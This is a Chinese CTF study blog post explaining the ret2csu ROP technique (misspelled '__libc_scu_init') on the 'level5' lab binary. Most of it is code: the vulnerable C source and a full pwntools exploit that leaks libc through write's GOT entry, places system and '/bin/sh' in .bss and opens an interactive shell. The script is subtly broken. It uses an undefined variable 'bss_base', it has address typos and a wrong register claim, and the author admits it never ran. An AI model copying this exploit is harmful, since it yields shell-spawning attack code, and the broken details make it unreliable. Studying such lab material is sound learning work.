pwn 学习笔记 暑假第九天 __libc_scu_init

__libc_scu_init 这个函数是用来对libc进行初始化操作的

在64位的程序中,前六个参数是通过寄存器传递的,之后再多的才是分布在栈上

如果程序比较小,很难找到需要的可用的gadget

但是如果利用这个函数,可以利用栈溢出构造栈上数据控制rbx,rbp,r12,r13,r14,r15寄存器的值

前六个参数依次保存在

RDI    (可控的其实只是RDI的第32位,就是EDI)

RSI

RDX

RCX

R8

R9

r13 = rdx =第三个参数

r14 = rsi = 第二个参数

r15 = edi = 第一个参数

r12 = call  address

http://www.vuln.cn/6644中的例子level5,例子都在https://github.com/zhengmin1989/ROP_STEP_BY_STEP可以下载

例子的源码:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
    write(STDOUT_FILENO, "Hello, World\n", 13);
    vulnerable_function();
}

checksec查看

objdump -d level5 查看一下__libc_scu_init的结构:

从4005f0处就是我们要利用参数传递和函数调用,为了要继续执行用的到的代码,要构造,rbx和rbp相等

add 会给rbx加一,然后因cmp 比较rbp和rbx,  如果相等zf 设置为1,然后jne是zf=0的时候实现跳转,所以只要rbx和rbp相等,就可以继续向下执行

所以通常把rbx设为0,rbp设为1

然后就可以传参数啦,下面先构造一下利用函数:

def csu(rbx,rbp,r12,r13,r14,r15,ret):
    payload = 'a'*136+p64(csu_end)+p64(0)+p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)+p64(csu_start)

                    #填充  +400606          +  junk  +    0      +     1     +函数地址+ 第三个参数+第二个参数+第一个参数+4005f0
    payload += 'b'*56+p64(ret)
    sh.send(payload)
    sleep(1)

这个例子中400606处,给各寄存器储值,400f50处传递参数,调用函数,最后为了后续继续溢出要使程序返回main,所以要继续覆盖(前面这个payload执行完后,程序会跳转回4005f0处,所以我们需要覆盖之前的只到call之前,覆盖需要56(7*8)个字符)然后设置返回地址为main

脚本如下:

from pwn import *
from LibcSearcher import LibcSearcher

sh = remote('192.168.1.122',2333)
elf = ELF('level5')
write_got = elf.got['write']
read_got = elf.got['read']
main_addr = elf.symbols['main']
bss_addr = elf.bss()
csu_start = 0x00000000004005f0
csu_end = 0x0000000000400606
print'[+]---------------get address------------------'
def csu(rbx,rbp,r12,r13,r14,r15,ret):
    payload = 'a'*136+p64(csu_end)+p64(0)+p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)+p64(csu_start)
    payload += 'b'*56+p64(ret)
    sh.send(payload)
    sleep(1)
sh.recvuntil('Hello, World\n')
csu(0, 1, write_got, 8, write_got, 1, main_addr)
write_addr = u64(sh.recv(8))
libc = LibcSearcher('write',write_addr)
base_addr = write_addr - libc.dump('write')
sys_addr = base_addr+libc.dump('system')
sh.recvuntil('Hello, World\n')
csu(0, 1, read_got, 16, bss_base, 0, main_addr)
sh.send(p64(sys_addr) + '/bin/sh\x00')

sh.recvuntil('Hello, World\n')
csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)
sh.interactive()


调了两天的脚本,生无可恋,我可能是个bug,用libcsearcher找不到对应版本的libc,大佬又没给例子中的libc.so  现在也没找到什么天法,对菜鸡真的不友好   pwn再见(╥╯^╰╥)

猜你喜欢

转载自blog.csdn.net/qq_38783875/article/details/81145894